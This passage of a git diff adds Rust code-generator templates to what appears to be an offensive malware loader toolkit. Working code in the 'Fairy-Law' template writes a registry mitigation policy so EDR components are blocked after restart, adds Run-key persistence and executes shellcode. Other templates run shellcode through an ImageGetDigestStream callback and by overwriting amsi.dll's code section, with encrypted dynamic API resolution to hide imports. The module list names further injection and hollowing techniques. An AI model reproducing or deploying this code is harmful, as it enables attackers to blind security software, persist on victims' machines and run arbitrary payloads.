+ 0,
+ KEY_SET_VALUE,
+ &mut key,
+ );
+
+ if result != ERROR_SUCCESS {
+ return false;
+ }
+
+ let set_result = RegSetValueExA(
+ key,
+ value_name.as_ptr() as *const i8,
+ 0,
+ REG_SZ,
+ exe_path.as_ptr(),
+ len + 1,
+ );
+
+ RegCloseKey(key);
+
+ set_result == ERROR_SUCCESS
+ }
+}
+"#
+ .to_string()
+}
+
+fn generate_execute_shellcode() -> String {
+ r#"
+fn execute_shellcode(shellcode: &[u8]) {
+ unsafe {
+ let addr = VirtualAlloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if addr.is_null() {
+ panic!("failed");
+ }
+
+ RtlCopyMemory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ let mut old_protect: u32 = PAGE_READWRITE;
+ let result = VirtualProtect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
+
+ if result == 0 {
+ panic!("failed");
+ }
+
+ let shellcode_fn: unsafe extern "system" fn() = std::mem::transmute(addr);
+ shellcode_fn();
+ }
+}
+"#
+ .to_string()
+}
+
+pub fn fairy_law_process() -> String {
+ format!(
+ r#"
+ {is_elevated_fn}
+
+ {check_mitigation_fn}
+
+ {enable_mitigation_fn}
+
+ {add_startup_fn}
+
+ {execute_shellcode_fn}
+
+ if !check_mitigation_policy_enabled() {{
+ if !is_process_elevated() {{
+ eprintln!("[!] This binary must be run with Administrator privileges!");
+ panic!("failed");
+ }}
+
+ if !enable_mitigation_policy() {{
+ eprintln!("[!] Failed to enable MicrosoftSignedOnly policy!");
+ panic!("failed");
+ }}
+
+ if !add_to_startup() {{
+ eprintln!("[!] Failed to add persistence!");
+ panic!("failed");
+ }}
+
+ eprintln!("[+] MicrosoftSignedOnly policy enabled successfully!");
+ eprintln!("[+] EDR components will be blocked after restart.");
+ eprintln!("[+] System restart required. Please restart and run again.");
+ }} else {{
+ execute_shellcode(shellcode);
+ }}
+"#,
+ is_elevated_fn = generate_is_process_elevated(),
+ check_mitigation_fn = generate_check_mitigation_policy(),
+ enable_mitigation_fn = generate_enable_mitigation_policy(),
+ add_startup_fn = generate_add_to_startup(),
+ execute_shellcode_fn = generate_execute_shellcode(),
+ )
+}
+
+fn generate_fairy_law_template(function_name: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(fairy_law_import())
+ .with_const(fairy_law_const())
+ .with_init(fairy_law_init())
+ .with_process(fairy_law_process())
+ .build(function_name)
+}
+
+pub fn generate_fairy_law_code(function_name: &str) -> String {
+ generate_fairy_law_template(function_name)
+}
+
+fn fairy_law_process_with_dynamic_resolver(
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ use super::dynamic_common::*;
+
+ let virtual_alloc = virtual_alloc_resolver(encryptor)?;
+ let virtual_protect = virtual_protect_resolver(encryptor)?;
+ let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
+ let get_current_process = get_current_process_resolver(encryptor)?;
+ let open_process_token = open_process_token_resolver(encryptor)?;
+ let get_token_information = get_token_information_resolver(encryptor)?;
+ let close_handle = close_handle_resolver(encryptor)?;
+ let get_module_file_name_a = get_module_file_name_a_resolver(encryptor)?;
+ let reg_open_key_ex_a = reg_open_key_ex_a_resolver(encryptor)?;
+ let reg_set_value_ex_a = reg_set_value_ex_a_resolver(encryptor)?;
+ let reg_create_key_ex_a = reg_create_key_ex_a_resolver(encryptor)?;
+ let reg_close_key = reg_close_key_resolver(encryptor)?;
+ let get_process_mitigation_policy = get_process_mitigation_policy_resolver(encryptor)?;
+
+ Ok(format!(
+ r#"
+ unsafe {{
+ {get_current_process_resolver}
+ {get_current_process_cast}
+
+ {open_process_token_resolver}
+ {open_process_token_cast}
+
+ {get_token_information_resolver}
+ {get_token_information_cast}
+
+ {close_handle_resolver}
+ {close_handle_cast}
+
+ {get_process_mitigation_policy_resolver}
+ {get_process_mitigation_policy_cast}
+
+ {reg_create_key_ex_a_resolver}
+ {reg_create_key_ex_a_cast}
+
+ {reg_set_value_ex_a_resolver}
+ {reg_set_value_ex_a_cast}
+
+ {reg_close_key_resolver}
+ {reg_close_key_cast}
+
+ {get_module_file_name_a_resolver}
+ {get_module_file_name_a_cast}
+
+ {reg_open_key_ex_a_resolver}
+ {reg_open_key_ex_a_cast}
+
+ {virtual_alloc_resolver}
+ {virtual_alloc_cast}
+
+ {rtl_copy_memory_resolver}
+ {rtl_copy_memory_cast}
+
+ {virtual_protect_resolver}
+ {virtual_protect_cast}
+
+ let mut sig = ProcessMitigationBinarySignaturePolicy {{ _bitfield: 0 }};
+ let result = get_process_mitigation_policy(
+ get_current_process(),
+ PROCESS_SIGNATURE_POLICY,
+ &mut sig as *mut _ as *mut std::ffi::c_void,
+ std::mem::size_of::<ProcessMitigationBinarySignaturePolicy>(),
+ );
+
+ let policy_enabled = result != 0 && (sig._bitfield & 1) != 0;
+
+ if !policy_enabled {{
+ let mut token: *mut std::ffi::c_void = ptr::null_mut();
+
+ if open_process_token(get_current_process(), TOKEN_QUERY, &mut token) == 0 {{
+ eprintln!("[!] This binary must be run with Administrator privileges!");
+ panic!("failed");
+ }}
+
+ let mut elevation = TokenElevation {{ token_is_elevated: 0 }};
+ let mut size: u32 = 0;
+
+ let token_result = get_token_information(
+ token,
+ TOKEN_ELEVATION,
+ &mut elevation as *mut _ as *mut std::ffi::c_void,
+ std::mem::size_of::<TokenElevation>() as u32,
+ &mut size,
+ );
+
+ close_handle(token);
+
+ if token_result == 0 || elevation.token_is_elevated == 0 {{
+ eprintln!("[!] This binary must be run with Administrator privileges!");
+ panic!("failed");
+ }}
+
+ let subkey = b"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\kernel\0";
+ let value_name = b"MitigationOptions\0";
+
+ let mitigation_value: [u8; 20] = [
+ 0x00, 0x01, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00,
+ ];
+
+ let mut key: isize = 0;
+ let mut disposition: u32 = 0;
+
+ let create_result = reg_create_key_ex_a(
+ HKEY_LOCAL_MACHINE,
+ subkey.as_ptr() as *const i8,
+ 0,
+ ptr::null(),
+ REG_OPTION_NON_VOLATILE,
+ KEY_WRITE | KEY_READ,
+ ptr::null_mut(),
+ &mut key,
+ &mut disposition,
+ );
+
+ if create_result != ERROR_SUCCESS {{
+ eprintln!("[!] Failed to enable MicrosoftSignedOnly policy!");
+ panic!("failed");
+ }}
+
+ let set_result = reg_set_value_ex_a(
+ key,
+ value_name.as_ptr() as *const i8,
+ 0,
+ REG_BINARY,
+ mitigation_value.as_ptr(),
+ mitigation_value.len() as u32,
+ );
+
+ reg_close_key(key);
+
+ if set_result != ERROR_SUCCESS {{
+ eprintln!("[!] Failed to enable MicrosoftSignedOnly policy!");
+ panic!("failed");
+ }}
+
+ let mut exe_path = [0u8; MAX_PATH];
+ let len = get_module_file_name_a(ptr::null_mut(), exe_path.as_mut_ptr(), MAX_PATH as u32);
+
+ if len > 0 {{
+ let mut filename_start = 0;
+ let mut filename_end = len as usize;
+
+ for i in (0..len as usize).rev() {{
+ if exe_path[i] == b'\\' || exe_path[i] == b'/' {{
+ filename_start = i + 1;
+ break;
+ }}
+ }}
+
+ for i in filename_start..len as usize {{
+ if exe_path[i] == b'.' {{
+ filename_end = i;
+ break;
+ }}
+ }}
+
+ let mut value_name = [0u8; MAX_PATH];
+ let name_len = filename_end - filename_start;
+ if name_len > 0 && name_len < MAX_PATH - 1 {{
+ for i in 0..name_len {{
+ value_name[i] = exe_path[filename_start + i];
+ }}
+ value_name[name_len] = 0;
+
+ let startup_subkey = b"Software\\Microsoft\\Windows\\CurrentVersion\\Run\0";
+
+ let mut startup_key: isize = 0;
+
+ let open_result = reg_open_key_ex_a(
+ HKEY_CURRENT_USER,
+ startup_subkey.as_ptr() as *const i8,
+ 0,
+ KEY_SET_VALUE,
+ &mut startup_key,
+ );
+
+ if open_result == ERROR_SUCCESS {{
+ reg_set_value_ex_a(
+ startup_key,
+ value_name.as_ptr() as *const i8,
+ 0,
+ REG_SZ,
+ exe_path.as_ptr(),
+ len + 1,
+ );
+
+ reg_close_key(startup_key);
+ }}
+ }}
+ }}
+
+ eprintln!("[+] MicrosoftSignedOnly policy enabled successfully!");
+ eprintln!("[+] EDR components will be blocked after restart.");
+ eprintln!("[+] System restart required. Please restart and run again.");
+ }} else {{
+ let addr = virtual_alloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if addr.is_null() {{
+ panic!("failed");
+ }}
+
+ rtl_copy_memory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ let mut old_protect: u32 = PAGE_READWRITE;
+ let protect_result = virtual_protect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
+
+ if protect_result == 0 {{
+ panic!("failed");
+ }}
+
+ let shellcode_fn: unsafe extern "system" fn() = std::mem::transmute(addr);
+ shellcode_fn();
+ }}
+ }}
+"#,
+ get_current_process_resolver = get_current_process.resolver_code,
+ get_current_process_cast = get_current_process.cast_code,
+ open_process_token_resolver = open_process_token.resolver_code,
+ open_process_token_cast = open_process_token.cast_code,
+ get_token_information_resolver = get_token_information.resolver_code,
+ get_token_information_cast = get_token_information.cast_code,
+ close_handle_resolver = close_handle.resolver_code,
+ close_handle_cast = close_handle.cast_code,
+ get_module_file_name_a_resolver = get_module_file_name_a.resolver_code,
+ get_module_file_name_a_cast = get_module_file_name_a.cast_code,
+ reg_open_key_ex_a_resolver = reg_open_key_ex_a.resolver_code,
+ reg_open_key_ex_a_cast = reg_open_key_ex_a.cast_code,
+ reg_set_value_ex_a_resolver = reg_set_value_ex_a.resolver_code,
+ reg_set_value_ex_a_cast = reg_set_value_ex_a.cast_code,
+ reg_create_key_ex_a_resolver = reg_create_key_ex_a.resolver_code,
+ reg_create_key_ex_a_cast = reg_create_key_ex_a.cast_code,
+ reg_close_key_resolver = reg_close_key.resolver_code,
+ reg_close_key_cast = reg_close_key.cast_code,
+ get_process_mitigation_policy_resolver = get_process_mitigation_policy.resolver_code,
+ get_process_mitigation_policy_cast = get_process_mitigation_policy.cast_code,
+ virtual_alloc_resolver = virtual_alloc.resolver_code,
+ virtual_alloc_cast = virtual_alloc.cast_code,
+ rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
+ rtl_copy_memory_cast = rtl_copy_memory.cast_code,
+ virtual_protect_resolver = virtual_protect.resolver_code,
+ virtual_protect_cast = virtual_protect.cast_code,
+ ))
+}
+
+fn generate_fairy_law_template_with_dynamic_resolver(
+ function_name: &str,
+ _encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ let process_code = fairy_law_process_with_dynamic_resolver(encryptor)?;
+
+ Ok(super::common::TechniqueTemplateBuilder::new()
+ .with_import(fairy_law_import())
+ .with_const(fairy_law_const())
+ .with_init(fairy_law_init())
+ .with_process(process_code)
+ .build(function_name))
+}
+
+pub fn generate_fairy_law_code_with_dynamic_resolver(
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ generate_fairy_law_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ .unwrap_or_else(|err| {
+ panic!(
+ "Failed to generate Fairy-Law code with dynamic resolver (encryption: {}): {}",
+ encryption_type, err
+ )
+ })
+}
+
+pub struct FairyLawGenerator;
+
+impl super::trait_generator::TechniqueGenerator for FairyLawGenerator {
+ fn generate_code(&self, _process: &str, function_name: &str) -> String {
+ generate_fairy_law_code(function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ _process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_fairy_law_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ }
+
+ fn requires_process(&self) -> bool {
+ false
+ }
+
+ fn name(&self) -> &'static str {
+ "Fairy-Law"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_fairy_law_template_contains_all_parts() {
+ let template = generate_fairy_law_template("MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("is_process_elevated"));
+ assert!(template.contains("OpenProcessToken"));
+ assert!(template.contains("RegSetValueExA"));
+ assert!(template.contains("eprintln!"));
+ }
+
+ #[test]
+ fn test_generate_fairy_law_code() {
+ let code = generate_fairy_law_code("MyRandomFunc");
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(code.contains("check_mitigation_policy_enabled"));
+ assert!(code.contains("enable_mitigation_policy"));
+ }
+
+ #[test]
+ fn test_fairy_law_does_not_use_process_param() {
+ let code = generate_fairy_law_code("TestFunc");
+ assert!(!code.contains("{{PROCESS}}"));
+ }
+
+ #[test]
+ fn test_elevation_check_function() {
+ let code = generate_fairy_law_code("TestFunc");
+ assert!(code.contains("fn is_process_elevated() -> bool"));
+ assert!(code.contains("TOKEN_QUERY"));
+ assert!(code.contains("GetTokenInformation"));
+ }
+
+ #[test]
+ fn test_mitigation_policy_check() {
+ let code = generate_fairy_law_code("TestFunc");
+ assert!(code.contains("fn check_mitigation_policy_enabled() -> bool"));
+ assert!(code.contains("GetProcessMitigationPolicy"));
+ assert!(code.contains("PROCESS_SIGNATURE_POLICY"));
+ }
+
+ #[test]
+ fn test_registry_modification() {
+ let code = generate_fairy_law_code("TestFunc");
+ assert!(code.contains("fn enable_mitigation_policy() -> bool"));
+ assert!(code.contains("RegCreateKeyExA"));
+ assert!(code.contains("MitigationOptions"));
+ }
+
+ #[test]
+ fn test_startup_persistence() {
+ let code = generate_fairy_law_code("TestFunc");
+ assert!(code.contains("fn add_to_startup() -> bool"));
+ assert!(code.contains("RegOpenKeyExA"));
+ assert!(code.contains("CurrentVersion"));
+ }
+
+ #[test]
+ fn test_warning_messages() {
+ let code = generate_fairy_law_code("TestFunc");
+ assert!(code.contains("eprintln!"));
+ assert!(code.contains("Administrator privileges"));
+ assert!(code.contains("System restart required"));
+ }
+
+ #[test]
+ fn test_no_print_warning_function() {
+ let code = generate_fairy_law_code("TestFunc");
+ assert!(!code.contains("fn print_warning"));
+ }
+
+ #[test]
+ fn test_shellcode_execution() {
+ let code = generate_fairy_law_code("TestFunc");
+ assert!(code.contains("fn execute_shellcode"));
+ assert!(code.contains("VirtualAlloc"));
+ assert!(code.contains("VirtualProtect"));
+ }
+
+ #[test]
+ fn test_no_automatic_uac() {
+ let code = generate_fairy_law_code("TestFunc");
+ assert!(!code.contains("ShellExecuteExA"));
+ assert!(!code.contains("runas"));
+ }
+
+ #[test]
+ fn test_no_automatic_restart() {
+ let code = generate_fairy_law_code("TestFunc");
+ assert!(!code.contains("Restart-Computer"));
+ assert!(!code.contains("powershell.exe"));
+ }
+}
diff --git a/src/internals/templates/techniques/image_get_digest_stream.rs b/src/internals/templates/techniques/image_get_digest_stream.rs
@@ -0,0 +1,356 @@
+pub fn image_get_digest_stream_import() -> String {
+ r#"
+use std::ptr;
+"#
+ .to_string()
+}
+
+pub fn image_get_digest_stream_const() -> String {
+ r#"
+const MEM_COMMIT: u32 = 0x1000;
+const MEM_RESERVE: u32 = 0x2000;
+const PAGE_READWRITE: u32 = 0x04;
+const PAGE_EXECUTE_READ: u32 = 0x20;
+
+const GENERIC_READ: u32 = 0x80000000;
+const FILE_SHARE_READ: u32 = 0x00000001;
+const OPEN_EXISTING: u32 = 0x00000003;
+const FILE_ATTRIBUTE_NORMAL: u32 = 0x00000080;
+const CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO: u32 = 0x00000004;
+
+#[link(name = "imagehlp")]
+extern "system" {
+ fn ImageGetDigestStream(
+ file_handle: *mut std::ffi::c_void,
+ digest_level: u32,
+ digest_function: *const std::ffi::c_void,
+ digest_handle: *mut *mut std::ffi::c_void,
+ ) -> i32;
+}
+
+#[link(name = "kernel32")]
+extern "system" {
+ fn CreateFileW(
+ file_name: *const u16,
+ desired_access: u32,
+ share_mode: u32,
+ security_attributes: *const std::ffi::c_void,
+ creation_disposition: u32,
+ flags_and_attributes: u32,
+ template_file: *mut std::ffi::c_void,
+ ) -> *mut std::ffi::c_void;
+
+ fn CloseHandle(handle: *mut std::ffi::c_void) -> i32;
+}
+
+#[link(name = "ntdll")]
+extern "system" {
+ fn RtlCopyMemory(
+ destination: *mut std::ffi::c_void,
+ source: *const std::ffi::c_void,
+ length: usize,
+ );
+}
+"#
+ .to_string()
+}
+
+#[allow(dead_code)]
+pub fn image_get_digest_stream_init() -> String {
+ "".to_string()
+}
+
+pub fn image_get_digest_stream_process() -> String {
+ r#"
+ unsafe {
+ let addr = VirtualAlloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if addr.is_null() {
+ panic!("failed");
+ }
+
+ RtlCopyMemory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ let mut old_protect: u32 = 0;
+ let protect_result = VirtualProtect(
+ addr,
+ shellcode.len(),
+ PAGE_EXECUTE_READ,
+ &mut old_protect as *mut u32,
+ );
+
+ if protect_result == 0 {
+ panic!("failed");
+ }
+
+ let ntdll_path: Vec<u16> = "C:\\Windows\\System32\\ntdll.dll"
+ .encode_utf16()
+ .chain(std::iter::once(0))
+ .collect();
+
+ let h_img = CreateFileW(
+ ntdll_path.as_ptr(),
+ GENERIC_READ,
+ FILE_SHARE_READ,
+ ptr::null(),
+ OPEN_EXISTING,
+ FILE_ATTRIBUTE_NORMAL,
+ ptr::null_mut(),
+ );
+
+ if h_img.is_null() || h_img as isize == -1 {
+ panic!("failed");
+ }
+
+ let mut dummy: *mut std::ffi::c_void = ptr::null_mut();
+ let result = ImageGetDigestStream(
+ h_img,
+ CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO,
+ addr,
+ &mut dummy as *mut *mut std::ffi::c_void,
+ );
+
+ if !dummy.is_null() {
+ CloseHandle(dummy);
+ }
+
+ CloseHandle(h_img);
+
+ if result == 0 {
+ panic!("failed");
+ }
+ }
+"#
+ .to_string()
+}
+
+fn generate_image_get_digest_stream_template(_target_process: &str, function_name: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(image_get_digest_stream_import())
+ .with_const(image_get_digest_stream_const())
+ .with_init(image_get_digest_stream_init())
+ .with_process(image_get_digest_stream_process())
+ .build(function_name)
+}
+
+pub fn generate_image_get_digest_stream_code(_target_process: &str, function_name: &str) -> String {
+ generate_image_get_digest_stream_template(_target_process, function_name)
+}
+
+fn image_get_digest_stream_process_with_dynamic_resolver(
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ use super::dynamic_common::*;
+
+ let virtual_alloc = virtual_alloc_resolver(encryptor)?;
+ let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
+ let virtual_protect = virtual_protect_resolver(encryptor)?;
+ let create_file_w = create_file_w_resolver(encryptor)?;
+ let close_handle = close_handle_resolver(encryptor)?;
+ let image_get_digest_stream = image_get_digest_stream_resolver(encryptor)?;
+
+ Ok(format!(
+ r#"
+ unsafe {{
+ {virtual_alloc_resolver}
+ {virtual_alloc_cast}
+
+ let addr = virtual_alloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if addr.is_null() {{
+ panic!("failed");
+ }}
+
+ {rtl_copy_memory_resolver}
+ {rtl_copy_memory_cast}
+
+ rtl_copy_memory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ {virtual_protect_resolver}
+ {virtual_protect_cast}
+
+ let mut old_protect: u32 = 0;
+ let protect_result = virtual_protect(
+ addr,
+ shellcode.len(),
+ PAGE_EXECUTE_READ,
+ &mut old_protect as *mut u32,
+ );
+
+ if protect_result == 0 {{
+ panic!("failed");
+ }}
+
+ let ntdll_path: Vec<u16> = "C:\\Windows\\System32\\ntdll.dll"
+ .encode_utf16()
+ .chain(std::iter::once(0))
+ .collect();
+
+ {create_file_w_resolver}
+ {create_file_w_cast}
+
+ let h_img = create_file_w(
+ ntdll_path.as_ptr(),
+ GENERIC_READ,
+ FILE_SHARE_READ,
+ ptr::null(),
+ OPEN_EXISTING,
+ FILE_ATTRIBUTE_NORMAL,
+ ptr::null_mut(),
+ );
+
+ if h_img.is_null() || h_img as isize == -1 {{
+ panic!("failed");
+ }}
+
+ let mut dummy: *mut std::ffi::c_void = ptr::null_mut();
+
+ {image_get_digest_stream_resolver}
+ {image_get_digest_stream_cast}
+
+ let result = image_get_digest_stream(
+ h_img,
+ CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO,
+ addr,
+ &mut dummy as *mut *mut std::ffi::c_void,
+ );
+
+ {close_handle_resolver}
+ {close_handle_cast}
+
+ if !dummy.is_null() {{
+ close_handle(dummy);
+ }}
+
+ close_handle(h_img);
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+ }}
+"#,
+ virtual_alloc_resolver = virtual_alloc.resolver_code,
+ virtual_alloc_cast = virtual_alloc.cast_code,
+ rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
+ rtl_copy_memory_cast = rtl_copy_memory.cast_code,
+ virtual_protect_resolver = virtual_protect.resolver_code,
+ virtual_protect_cast = virtual_protect.cast_code,
+ create_file_w_resolver = create_file_w.resolver_code,
+ create_file_w_cast = create_file_w.cast_code,
+ close_handle_resolver = close_handle.resolver_code,
+ close_handle_cast = close_handle.cast_code,
+ image_get_digest_stream_resolver = image_get_digest_stream.resolver_code,
+ image_get_digest_stream_cast = image_get_digest_stream.cast_code,
+ ))
+}
+
+fn generate_image_get_digest_stream_template_with_dynamic_resolver(
+ function_name: &str,
+ _encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ let process_code = image_get_digest_stream_process_with_dynamic_resolver(encryptor)?;
+
+ Ok(super::common::TechniqueTemplateBuilder::new()
+ .with_import(image_get_digest_stream_import())
+ .with_const(image_get_digest_stream_const())
+ .with_init(image_get_digest_stream_init())
+ .with_process(process_code)
+ .build(function_name))
+}
+
+pub fn generate_image_get_digest_stream_code_with_dynamic_resolver(
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ generate_image_get_digest_stream_template_with_dynamic_resolver(
+ function_name,
+ encryption_type,
+ encryptor,
+ )
+ .unwrap_or_else(|err| {
+ panic!(
+ "Failed to generate ImageGetDigestStream code with dynamic resolver (encryption: {}): {}",
+ encryption_type, err
+ )
+ })
+}
+
+pub struct ImageGetDigestStreamGenerator;
+
+impl super::trait_generator::TechniqueGenerator for ImageGetDigestStreamGenerator {
+ fn generate_code(&self, _process: &str, function_name: &str) -> String {
+ generate_image_get_digest_stream_code(_process, function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ _process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_image_get_digest_stream_code_with_dynamic_resolver(
+ function_name,
+ encryption_type,
+ encryptor,
+ )
+ }
+
+ fn requires_process(&self) -> bool {
+ false
+ }
+
+ fn name(&self) -> &'static str {
+ "ImageGetDigestStream"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_image_get_digest_stream_template_contains_all_parts() {
+ let template = generate_image_get_digest_stream_template("notepad.exe", "MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("MEM_COMMIT"));
+ assert!(template.contains("PAGE_READWRITE"));
+ assert!(template.contains("PAGE_EXECUTE_READ"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("VirtualAlloc"));
+ assert!(template.contains("VirtualProtect"));
+ assert!(template.contains("ImageGetDigestStream"));
+ }
+
+ #[test]
+ fn test_generate_image_get_digest_stream_code() {
+ let code = generate_image_get_digest_stream_code("notepad.exe", "MyRandomFunc");
+ assert!(code.contains("fn MyRandomFunc"));
+ }
+
+ #[test]
+ fn test_image_get_digest_stream_does_not_use_process_param() {
+ let code = generate_image_get_digest_stream_code("notepad.exe", "TestFunc");
+ assert!(!code.contains("notepad.exe"));
+ }
+}
diff --git a/src/internals/templates/techniques/mod.rs b/src/internals/templates/techniques/mod.rs
@@ -0,0 +1,69 @@
+pub mod capabilities;
+pub mod capability_matrix;
+mod codegen_helpers;
+// Common utilities and shared declarations for all techniques
+pub mod common;
+mod create_fiber;
+mod create_remote_thread;
+mod create_remote_thread_ex;
+mod dynamic_common;
+mod early_bird;
+mod enum_calendar;
+mod enum_system_locales;
+mod enum_windows;
+mod etwp;
+mod fairy_law;
+mod image_get_digest_stream;
+mod module_stomping;
+mod nt_create_thread_ex;
+mod process_hollowing;
+mod process_injection_common;
+mod queue_user_apc;
+mod set_timer;
+mod syscall;
+mod thread_hijacking;
+mod trait_generator;
+pub mod validation;
+
+#[allow(unused_imports)]
+pub use codegen_helpers::*;
+#[allow(unused_imports)]
+pub use common::TechniqueTemplateBuilder;
+pub use trait_generator::TechniqueGenerator;
+
+#[allow(unused_imports)]
+pub use create_fiber::{generate_create_fiber_code, CreateFiberGenerator};
+#[allow(unused_imports)]
+pub use create_remote_thread::{generate_crt_code, CRTGenerator};
+#[allow(unused_imports)]
+pub use create_remote_thread_ex::{generate_crtx_code, CRTxGenerator};
+#[allow(unused_imports)]
+pub use early_bird::{generate_early_bird_code, EarlyBirdGenerator};
+#[allow(unused_imports)]
+pub use enum_calendar::{generate_enum_calendar_code, EnumCalendarGenerator};
+#[allow(unused_imports)]
+pub use enum_system_locales::{generate_enum_system_locales_code, EnumSystemLocalesGenerator};
+#[allow(unused_imports)]
+pub use enum_windows::{generate_enum_windows_code, EnumWindowsGenerator};
+#[allow(unused_imports)]
+pub use etwp::{generate_etwp_code, EtwpGenerator};
+#[allow(unused_imports)]
+pub use fairy_law::{generate_fairy_law_code, FairyLawGenerator};
+#[allow(unused_imports)]
+pub use image_get_digest_stream::{
+ generate_image_get_digest_stream_code, ImageGetDigestStreamGenerator,
+};
+#[allow(unused_imports)]
+pub use module_stomping::{generate_module_stomping_code, ModuleStompingGenerator};
+#[allow(unused_imports)]
+pub use nt_create_thread_ex::{generate_nt_create_thread_ex_code, NtCreateThreadExGenerator};
+#[allow(unused_imports)]
+pub use process_hollowing::{generate_process_hollowing_code, ProcessHollowingGenerator};
+#[allow(unused_imports)]
+pub use queue_user_apc::{generate_queue_user_apc_code, QueueUserAPCGenerator};
+#[allow(unused_imports)]
+pub use set_timer::{generate_set_timer_code, SetTimerGenerator};
+#[allow(unused_imports)]
+pub use syscall::{generate_syscall_code, SyscallGenerator};
+#[allow(unused_imports)]
+pub use thread_hijacking::{generate_thread_hijacking_code, ThreadHijackingGenerator};
diff --git a/src/internals/templates/techniques/module_stomping.rs b/src/internals/templates/techniques/module_stomping.rs
@@ -0,0 +1,191 @@
+pub fn module_stomping_import() -> String {
+ super::common::common_process_injection_imports().to_string()
+}
+
+pub fn module_stomping_const() -> String {
+ format!(
+ r#"
+{}
+
+{}
+
+#[link(name = "ntdll")]
+extern "system" {{
+ fn NtProtectVirtualMemory(
+ process_handle: *mut std::ffi::c_void,
+ base_address: *mut *mut std::ffi::c_void,
+ size: *mut usize,
+ new_protect: u32,
+ old_protect: *mut u32,
+ ) -> i32;
+
+ fn RtlCopyMemory(
+ destination: *mut std::ffi::c_void,
+ source: *const std::ffi::c_void,
+ length: usize,
+ );
+}}
+
+{}
+"#,
+ super::common::COMMON_MEMORY_CONSTANTS,
+ super::common::COMMON_PROCESS_CONSTANTS,
+ super::common::common_process_structures()
+ )
+}
+
+pub fn module_stomping_init() -> String {
+ String::new()
+}
+
+pub fn module_stomping_process(process: &str) -> String {
+ let _process_wide = format!(
+ "let process_path: Vec<u16> = \"{}\\0\".encode_utf16().collect();",
+ process.replace('\\', "\\\\")
+ );
+
+ r#"
+ unsafe {
+ #[link(name = "kernel32")]
+ extern "system" {
+ fn LoadLibraryA(lp_lib_file_name: *const u8) -> *mut std::ffi::c_void;
+ }
+
+ let target_dll = b"amsi.dll\0".as_ptr();
+ let module_handle = LoadLibraryA(target_dll);
+
+ if module_handle.is_null() {
+ panic!("failed");
+ }
+
+ let module_base = module_handle as *mut u8;
+ let _dos_header = module_base as *const u16;
+ let e_lfanew = *(module_base.add(0x3C) as *const u32);
+ let nt_headers = module_base.add(e_lfanew as usize);
+ let optional_header = nt_headers.add(24);
+ let size_of_image = *(optional_header.add(56) as *const u32) as usize;
+
+ let code_section_start = module_base.add(0x1000);
+ let usable_size = if shellcode.len() < size_of_image - 0x1000 {
+ shellcode.len()
+ } else {
+ size_of_image - 0x1000
+ };
+
+ let mut region_base = code_section_start as *mut std::ffi::c_void;
+ let mut region_size = usable_size;
+ let mut old_protect: u32 = 0;
+
+ #[link(name = "kernel32")]
+ extern "system" {
+ fn GetCurrentProcess() -> *mut std::ffi::c_void;
+ }
+
+ let status = NtProtectVirtualMemory(
+ GetCurrentProcess(),
+ &mut region_base,
+ &mut region_size,
+ PAGE_EXECUTE_READWRITE,
+ &mut old_protect,
+ );
+
+ if status != 0 {
+ panic!("failed");
+ }
+
+ RtlCopyMemory(
+ code_section_start as *mut std::ffi::c_void,
